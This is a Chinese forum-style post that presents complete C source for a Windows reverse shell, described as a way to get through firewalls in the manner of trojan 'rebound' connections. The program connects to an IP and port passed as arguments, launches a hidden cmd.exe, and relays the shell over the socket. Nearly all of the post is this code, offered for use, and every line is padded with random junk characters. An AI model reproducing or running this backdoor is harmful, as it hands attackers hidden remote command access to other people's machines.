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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |Zn;O6c#L5  
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/* ============================== GZ<@#~1%\  
Rebound port in Windows NT p-"wY?q  
By wind,2006/7 "r;cH53  
===============================*/ E_ 30)"]  
#include A##Q>|>)  
#include Dd0yQgCu  
b"@-9ke5I  
#pragma comment(lib,"wsock32.lib") nzxHd7NIZ  
!p ~.Y+  
void OutputShell(); M`#g>~bI#R  
SOCKET sClient; kL s{B  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~eTp( XG  
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void main(int argc,char **argv) ;[lLFI  
{ >g+Y//Z  
WSADATA stWsaData; ej7N5~!,s  
int nRet; 6}@T^?  
SOCKADDR_IN stSaiClient,stSaiServer; UCmJQJc  
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if(argc != 3) aA*h*  
{ XmO]^ `  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,F!-17_vt  
return; )jwovS?V  
} f7 ew<c\  
'M?pg$ta_V  
WSAStartup(MAKEWORD(2,2),&stWsaData); U4a8z<l$  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MC-Z6l2  
{>64-bU  
stSaiClient.sin_family = AF_INET; 5y='1s[%  
stSaiClient.sin_port = htons(0); y]i} j,e0L  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u<n['Ur}|  
W#d'SL#5  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [vBP,_Tjx  
{ tOF8v8Hd  
printf("Bind Socket Failed!\n"); kSJ;kz,_  
return; ?TDmW8G}J  
} O d6'bO;G  
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stSaiServer.sin_family = AF_INET; U/HF6=Wot  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vGH]7jht  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ELG{xN=o  
bQ?Vh@j(M  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m-[xrVV  
{ 6 P9#6mZ  
printf("Connect Error!"); [$>@f{:  
return; ,DW q  
} Rc@lGq9  
OutputShell(); Z@JTZMN_  
} %"E!E1_Sv  
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void OutputShell() :[PA.Upi  
{ hOqNZ66{  
char szBuff[1024]; -e51 /lhpd  
SECURITY_ATTRIBUTES stSecurityAttributes; >_\]c-~<  
OSVERSIONINFO stOsversionInfo; DDT]A<WUV  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lS2 `#l>  
STARTUPINFO stStartupInfo; `Lw Z(M-hI  
char *szShell; %0u5d$bq  
PROCESS_INFORMATION stProcessInformation; bLg gh]Fh  
unsigned long lBytesRead; Mu" vj*F  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _s=<Y^l%x  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |e+r~).4B  
stSecurityAttributes.lpSecurityDescriptor = 0; T/%k1Hsa4H  
stSecurityAttributes.bInheritHandle = TRUE; kDiR2K&  
sBxCi~  
 )DW".c  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *xeJ4h  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]G! APE  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z`J-J*R>d  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A6;[r #C  
stStartupInfo.wShowWindow = SW_HIDE; ]3U|K .G  
stStartupInfo.hStdInput = hReadPipe; /HSg)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; DfOig LG*  
:h0!giqoQ  
GetVersionEx(&stOsversionInfo); Qc 1mR\.5  
% 5!Y#$:{o  
switch(stOsversionInfo.dwPlatformId) : T4ap_Ycq  
{ p8CaD4bE  
case 1: 3=Xvl 58k  
szShell = "command.com"; xnZ  
break; EL *l5!Iu  
default: MA 6uJT  
szShell = "cmd.exe"; {!4ZRNy(k  
break; t/]za4w/  
} Z 2uU'T  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Yk7^?W  
=lh&oPc1  
send(sClient,szMsg,77,0); JS >"j d#  
while(1) ~W gO{@Mw  
{ 4 tt=u]:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4 $)}d  
if(lBytesRead) 1 x0)mt3  
{ ;UQ&yj%x  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ' b,zE[Q  
send(sClient,szBuff,lBytesRead,0); T!pHT'J  
} 1(VskFtZF  
else z)&&Ym#  
{ ]V"B`ip[2  
lBytesRead=recv(sClient,szBuff,1024,0); U`4t4CHA  
if(lBytesRead<=0) break; Bo*Wm w  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *u34~v16,  
} 4Gh%PUV#  
} !NhVPb,  
@j r$4pM?  
return; 2$ \#BG  
}
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